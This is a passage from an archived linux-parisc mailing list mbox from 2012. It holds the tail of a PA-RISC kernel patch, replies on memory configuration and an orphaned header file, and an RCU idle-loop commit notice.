+	tlb_unlock      %r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pitlb		(%sr4,%r25)
+	nop
 	.exit
 
 	.procend
@@ -777,7 +1020,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -817,7 +1060,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index ceec85d..6795dc6 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -157,5 +157,6 @@ extern void _mcount(void);
 EXPORT_SYMBOL(_mcount);
 #endif
 
-/* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+/* from pacache.S -- needed for clear/copy_page */
+EXPORT_SYMBOL(clear_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d4b94b3..2c05a92 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -309,7 +309,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 		cregs->ksp = (unsigned long)stack
 			+ (pregs->gr[21] & (THREAD_SIZE - 1));
 		cregs->gr[30] = usp;
-		if (p->personality == PER_HPUX) {
+		if (personality(p->personality) == PER_HPUX) {
 #ifdef CONFIG_HPUX
 			cregs->kpc = (unsigned long) &hpux_child_return;
 #else
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 594459b..56e0087 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -308,7 +308,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..b3032f9 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
@@ -225,12 +226,12 @@ long parisc_personality(unsigned long personality)
 	long err;
 
 	if (personality(current->personality) == PER_LINUX32
-	    && personality == PER_LINUX)
-		personality = PER_LINUX32;
+	    && personality(personality) == PER_LINUX)
+		personality = (personality & ~PER_MASK) | PER_LINUX32;
 
 	err = sys_personality(personality);
-	if (err == PER_LINUX32)
-		err = PER_LINUX;
+	if (personality(err) == PER_LINUX32)
+		err = (err & ~PER_MASK) | PER_LINUX;
 
 	return err;
 }
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 82a52b2..837c602 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -180,9 +180,10 @@ linux_gateway_entry:
 
 	/* Are we being ptraced? */
 	mfctl	%cr30, %r1
-	LDREG	TI_TASK(%r1),%r1
-	ldw	TASK_PTRACE(%r1), %r1
-	bb,<,n	%r1,31,.Ltracesys
+	LDREG   TI_FLAGS(%r1),%r1
+	ldi	(_TIF_SYSCALL_TRACE | _TIF_SINGLESTEP | _TIF_BLOCKSTEP), %r19
+	and,COND(=) %r19, %r1, %r0
+	b,n	.Ltracesys
 	
 	/* Note!  We cannot use the syscall table that is mapped
 	nearby since the gateway page is mapped execute-only. */
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 70e105d..4a24ba7 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -77,7 +77,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 6) < cpt) {
+	if ((cycles_elapsed >> 7) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
diff --git a/arch/parisc/math-emu/cnv_float.h b/arch/parisc/math-emu/cnv_float.h
index 9071e09..37299c7 100644
--- a/arch/parisc/math-emu/cnv_float.h
+++ b/arch/parisc/math-emu/cnv_float.h
@@ -347,16 +347,15 @@
     Sgl_isinexact_to_fix(sgl_value,exponent)
 
 #define Duint_from_sgl_mantissa(sgl_value,exponent,dresultA,dresultB)	\
-  {Sall(sgl_value) <<= SGL_EXP_LENGTH;  /*  left-justify  */		\
+  {unsigned int val = Sall(sgl_value) << SGL_EXP_LENGTH;		\
     if (exponent <= 31) {						\
     	Dintp1(dresultA) = 0;						\
-    	Dintp2(dresultB) = (unsigned)Sall(sgl_value) >> (31 - exponent); \
+    	Dintp2(dresultB) = val >> (31 - exponent);			\
     }									\
     else {								\
-    	Dintp1(dresultA) = Sall(sgl_value) >> (63 - exponent);		\
-    	Dintp2(dresultB) = Sall(sgl_value) << (exponent - 31);		\
+    	Dintp1(dresultA) = val >> (63 - exponent);			\
+    	Dintp2(dresultB) = exponent <= 62 ? val << (exponent - 31) : 0;	\
     }									\
-    Sall(sgl_value) >>= SGL_EXP_LENGTH;  /* return to original */	\
   }
 
 #define Duint_setzero(dresultA,dresultB) 	\
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 18162ce..524bf5a 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -175,10 +175,12 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	struct mm_struct *mm = tsk->mm;
 	unsigned long acc_type;
 	int fault;
+	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	if (in_atomic() || !mm)
 		goto no_context;
 
+retry:
 	down_read(&mm->mmap_sem);
 	vma = find_vma_prev(mm, address, &prev_vma);
 	if (!vma || address < vma->vm_start)
@@ -201,7 +203,12 @@ good_area:
 	 * fault.
 	 */
 
-	fault = handle_mm_fault(mm, vma, address, (acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0);
+	fault = handle_mm_fault(mm, vma, address,
+		flags | ((acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0));
+
+	if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))
+		return;
+
 	if (unlikely(fault & VM_FAULT_ERROR)) {
 		/*
 		 * We hit a shared mapping outside of the file, or some
@@ -214,10 +221,22 @@ good_area:
 			goto bad_area;
 		BUG();
 	}
-	if (fault & VM_FAULT_MAJOR)
-		current->maj_flt++;
-	else
-		current->min_flt++;
+	if (flags & FAULT_FLAG_ALLOW_RETRY) {
+		if (fault & VM_FAULT_MAJOR)
+			current->maj_flt++;
+		else
+			current->min_flt++;
+		if (fault & VM_FAULT_RETRY) {
+			flags &= ~FAULT_FLAG_ALLOW_RETRY;
+
+			/* No need to up_read(&mm->mmap_sem) as we would
+			 * have already released it in __lock_page_or_retry
+			 * in mm/filemap.c.
+			 */
+
+			goto retry;
+		}
+	}
 	up_read(&mm->mmap_sem);
 	return;
 
diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index eebd6d5..078a593 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -581,6 +581,7 @@ out_eoi:
 void
 handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 {
+	struct irqaction *action;
 	struct irq_chip *chip = irq_desc_get_chip(desc);
 
 	kstat_incr_irqs_this_cpu(irq, desc);
@@ -588,7 +589,9 @@ handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 	if (chip->irq_ack)
 		chip->irq_ack(&desc->irq_data);
 
-	handle_irq_event_percpu(desc, desc->action);
+	action = desc->action;
+	if (action)
+		handle_irq_event_percpu(desc, action);
 
 	if (chip->irq_eoi)
 		chip->irq_eoi(&desc->irq_data);

--Apple-Mail-16-422798044--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: I have 12GB of RAM but I can only use 1GB?
Date: Thu, 20 Sep 2012 00:19:59 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <505A996F.4040807@systemhalted.org>
References: <CAE2sS1i5E9FDB_5aw+mTySEysOjuLjOQn7S_pOL5-EMBOudqPg@mail.gmail.com> <2698994.p4ZeTnMdFO@donald.sf-tec.de> <BLU0-SMTP21E4975DA9B1176FC72936979B0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1348114807 25434 80.91.229.3 (20 Sep 2012 04:20:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2012 04:20:07 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 20 06:20:11 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TEYFC-0001Dk-U2
	for glpp-linux-parisc@plane.gmane.org; Thu, 20 Sep 2012 06:20:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751354Ab2ITEUB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Sep 2012 00:20:01 -0400
Original-Received: from mail-pb0-f46.google.com ([209.85.160.46]:58596 "EHLO
	mail-pb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751231Ab2ITEUA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Sep 2012 00:20:00 -0400
Original-Received: by pbbrr13 with SMTP id rr13so4123906pbb.19
        for <linux-parisc@vger.kernel.org>; Wed, 19 Sep 2012 21:20:00 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding
         :x-gm-message-state;
        bh=tnPtIjhAoW9IrIxC92vrdm19HowQkylOd90ju+osLc8=;
        b=VrVirPy8jIFUjs7fbnxRs/rvpuCB3E/w8bhAbJfG6XeJNEH3QaWtLCOntzl/ew0TP+
         LCJim0bZHv5U3wPlEvEnN/iNQ73TIFlVkRdA8fR6mhilvlo0kO8gX8m7CwZVjHUn4bXD
         L+meMeCKuPZs1Q+NUP8i3QYHK3IrWKGZ9LE7g8zA1QjTvIJ5BPwP2FW0nOmWzwaJ0TUA
         mqcqJv0lN+t6kMmRzZq7d8nugW8sMpdDOYo7Iu4eACmWspgU22crBXskV1s2mY+SE8gs
         ULEfTbhdwTp7+p+udEeK7uV3oMXIiScF3Cu6rQNZY4/rP2Z8zltdmadcsqiGMFtF2UZa
         vROg==
Original-Received: by 10.68.218.72 with SMTP id pe8mr3515158pbc.33.1348114800053;
        Wed, 19 Sep 2012 21:20:00 -0700 (PDT)
Original-Received: from [192.168.2.18] (bas3-ottawa23-1128747836.dsl.bell.ca. [67.71.83.60])
        by mx.google.com with ESMTPS id pq7sm2878257pbb.25.2012.09.19.21.19.58
        (version=SSLv3 cipher=OTHER);
        Wed, 19 Sep 2012 21:19:59 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120907 Thunderbird/15.0.1
In-Reply-To: <BLU0-SMTP21E4975DA9B1176FC72936979B0@phx.gbl>
X-Gm-Message-State: ALoCoQkoYA9VZduk/215dhDSO+HoadFjJqC73nesoAacQ7zAWlS+qhOQVnSAUeMYK6fPPqEzOTND
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4587
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4587>

On 9/19/2012 7:26 PM, John David Anglin wrote:
> On 19-Sep-12, at 2:06 AM, Rolf Eike Beer wrote:
> 
>> IIRC you need CONFIG_DISCONTIGMEM.
> 
> Enclosed is my latest kernel patch against 3.5.4.
> 
> One of things it addresses is an issue with CONFIG_DISCONTIGMEM introduced in 3.4.
> 
> Another new thing is a hack which tries to paper over a softirq problem.  For some reason,
> we sometimes run off the end of the vector pending list causing a panic.  This is probably related
> to the restart issues discussed by Al Viro as things were worse with Al's suggested change.

Rolf, Thibaut (on Google+), thanks for pointing out that 
without CONFIG_DISCONTIGMEM we don't pickup the other 
ranges. I have a patch to make the kernel warnings messages
clearer about this.

Dave, Thanks for the patch!

Cheers,
Carlos.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Denys Vlasenko <vda.linux@googlemail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: parisc: orphaned asm/compat_signal.h file?
Date: Mon, 24 Sep 2012 14:39:49 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <CAK1hOcMongS_p5+oiaqE85tEVF8mv+SCm3yb-N=Zqz4Xuz_+WA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1348490415 32033 80.91.229.3 (24 Sep 2012 12:40:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 24 Sep 2012 12:40:15 +0000 (UTC)
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 24 14:40:17 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TG7xR-0008VK-Bb
	for glpp-linux-parisc@plane.gmane.org; Mon, 24 Sep 2012 14:40:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755207Ab2IXMkL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 24 Sep 2012 08:40:11 -0400
Original-Received: from mail-vb0-f46.google.com ([209.85.212.46]:35622 "EHLO
	mail-vb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755204Ab2IXMkL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 24 Sep 2012 08:40:11 -0400
Original-Received: by vbbff1 with SMTP id ff1so6018213vbb.19
        for <multiple recipients>; Mon, 24 Sep 2012 05:40:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20120113;
        h=mime-version:from:date:message-id:subject:to:content-type;
        bh=FmNG4am+RRKn+/e6XFzPi6OysCd8xjVXTRqOS1MTcfE=;
        b=UL0gmxm2x/8pIUkN49rwHmtjXm+2tEtT4XFJI9Esrn+zIvMb3J4dkQO4InQM8LeQgT
         qJ2c0sBmmw0NuWep6mZB4dpxSVPRPt4f/KYQOty0ji4ETTXGQeBjKGhwj1J5sJa8NHwd
         LbQ8I+sk4JsHkps0+RZMv6ItrjOFwTq/WQUhFJBn20uQV7aW2aILx2AyfL8KJizJ11D6
         eyfd1NdlWvw75/z1aeIQu+ULuvkgddL+dFIpAtel+nceLC14nbStFmo782ONUOTIPZr3
         e2lCj4HSEUW+FeXt6s294RfmYgHqu6JBgTRjYhk+JitpIKEV7YeU8Ors/cvASV40YS6y
         xWng==
Original-Received: by 10.220.205.200 with SMTP id fr8mr3845611vcb.34.1348490410033;
 Mon, 24 Sep 2012 05:40:10 -0700 (PDT)
Original-Received: by 10.58.146.4 with HTTP; Mon, 24 Sep 2012 05:39:49 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4588 gmane.linux.kernel:1363397
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4588>

Hi,

I noticed the following:

In linux-mmotm and parisc-2.6.git trees,
arch/parisc/include/asm/compat_signal.h file is just:


/* Use generic */
#include <asm-generic/compat_signal.h>


which isn't correct since asm-generic/compat_signal.h doesn't exist.

Nobody noticed this because arch/parisc/include/asm/compat_signal.h
itself is not included by any other file.

Maybe it needs to be removed?

-- 
vda
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc: orphaned asm/compat_signal.h file?
Date: Tue, 25 Sep 2012 19:23:03 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <BLU0-SMTP54F29C73A16BAB0885137A979D0@phx.gbl>
References: <CAK1hOcMongS_p5+oiaqE85tEVF8mv+SCm3yb-N=Zqz4Xuz_+WA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1348615409 11822 80.91.229.3 (25 Sep 2012 23:23:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Sep 2012 23:23:29 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 26 01:23:31 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TGeTP-0005UE-2g
	for glpp-linux-parisc@plane.gmane.org; Wed, 26 Sep 2012 01:23:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751761Ab2IYXXV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Sep 2012 19:23:21 -0400
Original-Received: from blu0-omc4-s21.blu0.hotmail.com ([65.55.111.160]:39351 "EHLO
	blu0-omc4-s21.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751722Ab2IYXXV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Sep 2012 19:23:21 -0400
Original-Received: from BLU0-SMTP54 ([65.55.111.136]) by blu0-omc4-s21.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 25 Sep 2012 16:23:20 -0700
X-Originating-IP: [69.158.129.29]
X-EIP: [YloTBf91ElGrXDOCyc2krYGdYvDd24ao]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.29]) by BLU0-SMTP54.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 25 Sep 2012 16:23:19 -0700
In-Reply-To: <CAK1hOcMongS_p5+oiaqE85tEVF8mv+SCm3yb-N=Zqz4Xuz_+WA@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 25 Sep 2012 23:23:19.0320 (UTC) FILETIME=[BF652180:01CD9B74]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4589 gmane.linux.kernel:1364557
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4589>

On 24-Sep-12, at 8:39 AM, Denys Vlasenko wrote:

> Maybe it needs to be removed?

Worked for me with 3.5.4.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tip-bot for Frederic Weisbecker <fweisbec@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [tip:core/rcu] parisc: Add missing RCU idle APIs on idle loop
Date: Wed, 26 Sep 2012 22:22:31 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <tip-fbe752188d5589e7fcbb8e79824e560f77dccc92@git.kernel.org>
Reply-To: linux-kernel@vger.kernel.org, mingo@kernel.org, hpa@zytor.com,
	  paulmck@linux.vnet.ibm.com, fweisbec@gmail.com,
	  jejb@parisc-linux.org, josh@joshtriplett.org, tglx@linutronix.de,
	  linux-parisc@vger.kernel.org, deller@gmx.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1348723385 15154 80.91.229.3 (27 Sep 2012 05:23:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2012 05:23:05 +0000 (UTC)
Cc: hpa@zytor.com, mingo@kernel.org, paulmck@linux.vnet.ibm.com,
	fweisbec@gmail.com, jejb@parisc-linux.org, josh@joshtriplett.org,
	tglx@linutronix.de, linux-parisc@vger.kernel.org, deller@gmx.de
To: linux-tip-commits@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 27 07:23:07 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TH6Yu-0005Ds-KW
	for glpp-linux-parisc@plane.gmane.org; Thu, 27 Sep 2012 07:23:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754671Ab2I0FWz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 27 Sep 2012 01:22:55 -0400
Original-Received: from terminus.zytor.com ([198.137.202.10]:53786 "EHLO
	terminus.zytor.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753572Ab2I0FWy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 27 Sep 2012 01:22:54 -0400
Original-Received: from terminus.zytor.com (localhost [127.0.0.1])
	by terminus.zytor.com (8.14.5/8.14.5) with ESMTP id q8R5MVhi004743
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 26 Sep 2012 22:22:36 -0700
Original-Received: (from tipbot@localhost)
	by terminus.zytor.com (8.14.5/8.14.5/Submit) id q8R5MVCu004740;
	Wed, 26 Sep 2012 22:22:31 -0700
X-Authentication-Warning: terminus.zytor.com: tipbot set sender to tipbot@zytor.com using -f
Git-Commit-ID: fbe752188d5589e7fcbb8e79824e560f77dccc92
X-Mailer: tip-git-log-daemon
Robot-ID: <tip-bot.git.kernel.org>
Robot-Unsubscribe: Contact <mailto:hpa@kernel.org>
  to get blacklisted from these emails
Content-Disposition: inline
X-Spam-Status: No, score=-0.7 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_Q,DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,FSL_FREEMAIL_1,
	FSL_FREEMAIL_2 autolearn=no version=3.3.2
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on terminus.zytor.com
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.6 (terminus.zytor.com [127.0.0.1]); Wed, 26 Sep 2012 22:22:37 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4590
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4590>

Commit-ID:  fbe752188d5589e7fcbb8e79824e560f77dccc92
Gitweb:     http://git.kernel.org/tip/fbe752188d5589e7fcbb8e79824e560f77dccc92
Author:     Frederic Weisbecker <fweisbec@gmail.com>
AuthorDate: Wed, 22 Aug 2012 17:27:34 +0200
Committer:  Paul E. McKenney <paulmck@linux.vnet.ibm.com>
CommitDate: Sun, 23 Sep 2012 07:44:49 -0700

parisc: Add missing RCU idle APIs on idle loop

In the old times, the whole idle task was considered
as an RCU quiescent state. But as RCU became more and
more successful overtime, some RCU read side critical
section have been added even in the code of some
architectures idle tasks, for tracing for example.

So nowadays, rcu_idle_enter() and rcu_idle_exit() must
be called by the architecture to tell RCU about the part
in the idle loop that doesn't make use of rcu read side
critical sections, typically the part that puts the CPU
in low power mode.

This is necessary for RCU to find the quiescent states in
idle in order to complete grace periods.

Add this missing pair of calls in the parisc's idle loop.

Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Parisc <linux-parisc@vger.kernel.org>
Cc: <stable@vger.kernel.org> # 3.3+
Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Reviewed-by: Josh Triplett <josh@joshtriplett.org>
---
 arch/parisc/kernel/process.c |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 2c05a92..8c6b6b6 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -48,6 +48,7 @@
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
+#include <linux/rcupdate.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -69,8 +70,10 @@ void cpu_idle(void)
 
 	/* endless idle loop with no priority at all */
 	while (1) {
+		rcu_idle_enter();
 		while (!need_resched())
 			barrier();
+		rcu_idle_exit();
 		schedule_preempt_disabled();
 		check_pgt_cache();
 	}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc: orphaned asm/compat_signal.h file?
Date: Fri, 28 Sep 2012 14:43:37 +0100
Lines: 237
Approved: news@gmane.org
Message-ID: <1348839817.2411.19.camel@dabdike.int.hansenpartnership.com>
References: <CAK1hOcMongS_p5+oiaqE85tEVF8mv+SCm3yb-N=Zqz4Xuz_+WA@mail.gmail.com>
	 <BLU0-SMTP54F29C73A16BAB0885137A979D0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
